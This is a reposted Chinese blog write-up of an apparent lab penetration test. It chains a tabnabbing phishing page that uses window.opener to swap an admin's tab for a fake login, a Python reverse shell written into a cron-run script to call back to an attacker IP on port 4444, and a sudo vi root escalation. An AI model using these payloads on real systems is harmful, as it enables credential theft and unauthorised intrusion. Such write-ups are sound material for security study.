【渗透测试】Tabnabbing(标签页劫持)到管理员最终拿下机器

admin 2026-03-04 10:33:42 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文记录了一次渗透测试实战,攻击者利用Tabnabbing标签页劫持漏洞诱导管理员输入凭证,成功突破外围防线。进入内网后,通过篡改定时任务脚本实现横向移动,最终利用vi编辑器的sudo权限配置不当成功提权至root。文章详细展示了从信息收集、漏洞利用到后渗透的完整攻击链条,技术细节清晰,具备较高的实战参考价值。 综合评分: 83 文章分类: 渗透测试,实战经验,WEB安全,内网渗透,红队


cover_image

【渗透测试】Tabnabbing(标签页劫持)到管理员最终拿下机器

原创

Asuna Asuna

皇后红队

2026年3月3日 03:02 安徽

外围

扫描端口只有 22 和 80,那就看前台漏洞和历史漏洞了

扫描目录:

[00:33:00] Scanning:
[00:33:25] 403 -   278B - /.php
[00:33:47] 301 -   314B - /admin  ->  http://10.48.162.100/admin/
[00:33:49] 403 -   278B - /admin/
[00:33:49] 403 -   278B - /admin/.htaccess
[00:33:50] 200 -     0B - /admin/config.php
[00:33:51] 200 -    1KB - /admin/login.php
[00:34:34] 200 -     1B - /config.php
[00:35:07] 200 -    1KB - /index.php
[00:35:07] 200 -    1KB - /index.php/login/
[00:35:21] 302 -     0B - /logout.php  ->  index.php
[00:35:53] 200 -    2KB - /register.php
[00:35:58] 403 -   278B - /server-status
[00:35:58] 403 -   278B - /server-status/

扫描目录发现一个管理员的登录后台和注册页面

注册个测试用户登录进去看看

一个链接,还有一个重置密码的地方,看看重置密码数据包。

POST /reset-password.php HTTP/1.1
Host: 10.48.162.100
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=60hmh12k3vq01vk6ipusd4bja9
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Referer: http://10.48.162.100/reset-password.php
Origin: http://10.48.162.100
Upgrade-Insecure-Requests: 1
Content-Length: 47

new_password=asuna123&confirm_password=asuna123

一个很简单的数据包,也没有校验旧密码,但是也没看到什么 id 参数。

Tabnabbing(逆向标签页劫持),当一个页面使用 target="_blank" 打开新页面时,新页面会获得对原页面的 window.opener 对象的控制权。

用当前环境来举例子来说,接下来我们要让管理员从后台页面点击链接访问我们的恶意页面,此时我们的恶意页面通过 window.opener 将原后台标签页替换成伪造的登录页”。

思路打开,执行过程:

1.下载这个网站的管理员登录页面:

把这个 18 行本来是靶场的地址改成我们的地址。

2.通过恶意页面获取window.opener 并替换后台

恶意页面: attack.html

<!DOCTYPE html>
<html>
&nbsp; &nbsp; <body>
&nbsp; &nbsp; &nbsp; &nbsp; <script>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; window.opener.location='http://192.168.132.34:8000/Login.html';
&nbsp; &nbsp; &nbsp; &nbsp; </script>
&nbsp; &nbsp; </body>
</html>

3.监听 http

注意 url 字符转义,转义后的结果才是真正的密码

进入系统

进入系统 id 看一下

daniel@ip-10-48-162-100:/$ id
uid=1001(daniel) gid=1001(daniel) groups=1001(daniel),1002(administrators)

还发现其他用户adrian,这也是靶场经典的逐个提权。

daniel@ip-10-48-162-100:/home/adrian$ ls
query.py &nbsp;site_status.txt &nbsp;user.txt
daniel@ip-10-48-162-100:/home/adrian$ ls -l
total 12
-rw-rw-r-- 1 adrian administrators 480 Mar 16 &nbsp;2022 query.py
-rw-rw-r-- 1 adrian adrian &nbsp; &nbsp; &nbsp; &nbsp; 128 Mar &nbsp;2 17:13 site_status.txt
-rw-r----- 1 root &nbsp; adrian &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;56 Mar 16 &nbsp;2022 user.txt
daniel@ip-10-48-162-100:/home/adrian$

query 所属组administrators,而目前的这个角色daniel 也所属组administrators。

import requests

now = datetime.now()

r = requests.get('http://127.0.0.1/')
if&nbsp;r.status_code == 200:
&nbsp; &nbsp; f = open("site_status.txt","a")
&nbsp; &nbsp; dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
&nbsp; &nbsp; f.write("Site is Up: ")
&nbsp; &nbsp; f.write(dt_string)
&nbsp; &nbsp; f.write("\n")
&nbsp; &nbsp; f.close()
else:
&nbsp; &nbsp; f = open("site_status.txt","a")
&nbsp; &nbsp; dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
&nbsp; &nbsp; f.write("Check Out Site: ")
&nbsp; &nbsp; f.write(dt_string)
&nbsp; &nbsp; f.write("\n")
&nbsp; &nbsp; f.close()

这个脚本是一个非常基础的 网站状态监控脚本。它的核心逻辑是:每运行一次,就去“访问”一下指定的网址,并把访问的结果(是在线还是离线)记录到一个日志文件中。

看一下site_status.txt 我发现这个脚本每分钟记录一次。

看了计划任务,没有这个脚本,应该是用户级计划任务,先弹吧。

修改 query.py

import socket, subprocess, os
s = socket.socket()
s.connect(("192.168.132.34", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh",&nbsp;"-i"])
asuna@macbook dirsearch % nc -lv 4444
/bin/sh: 0: can't access tty; job control turned off
$ whoami
adrian
$ id
uid=1000(adrian) gid=1000(adrian) groups=1000(adrian),1002(administrators)
$

果然是adrian 用户。

python3 -c&nbsp;'import pty;pty.spawn("/bin/bash")'

升级 shell

sudo -l 看一下

Matching Defaults entries&nbsp;for&nbsp;adrian on ip-10-48-162-100:
&nbsp; &nbsp; env_reset, mail_badpass,
&nbsp; &nbsp; secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User adrian may run the following commands on ip-10-48-162-100:
&nbsp; &nbsp; (root) NOPASSWD: /usr/bin/vi

drian 可以直接以 root 身份运行文本编辑器 vi,而且不需要输入任何密码

提权 payload:

sudo /usr/bin/vim -c&nbsp;':!/bin/sh'

结束,2026 年新年快乐。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:皇后红队 Asuna Asuna《【渗透测试】Tabnabbing(标签页劫持)到管理员最终拿下机器》

评论:0   参与:  0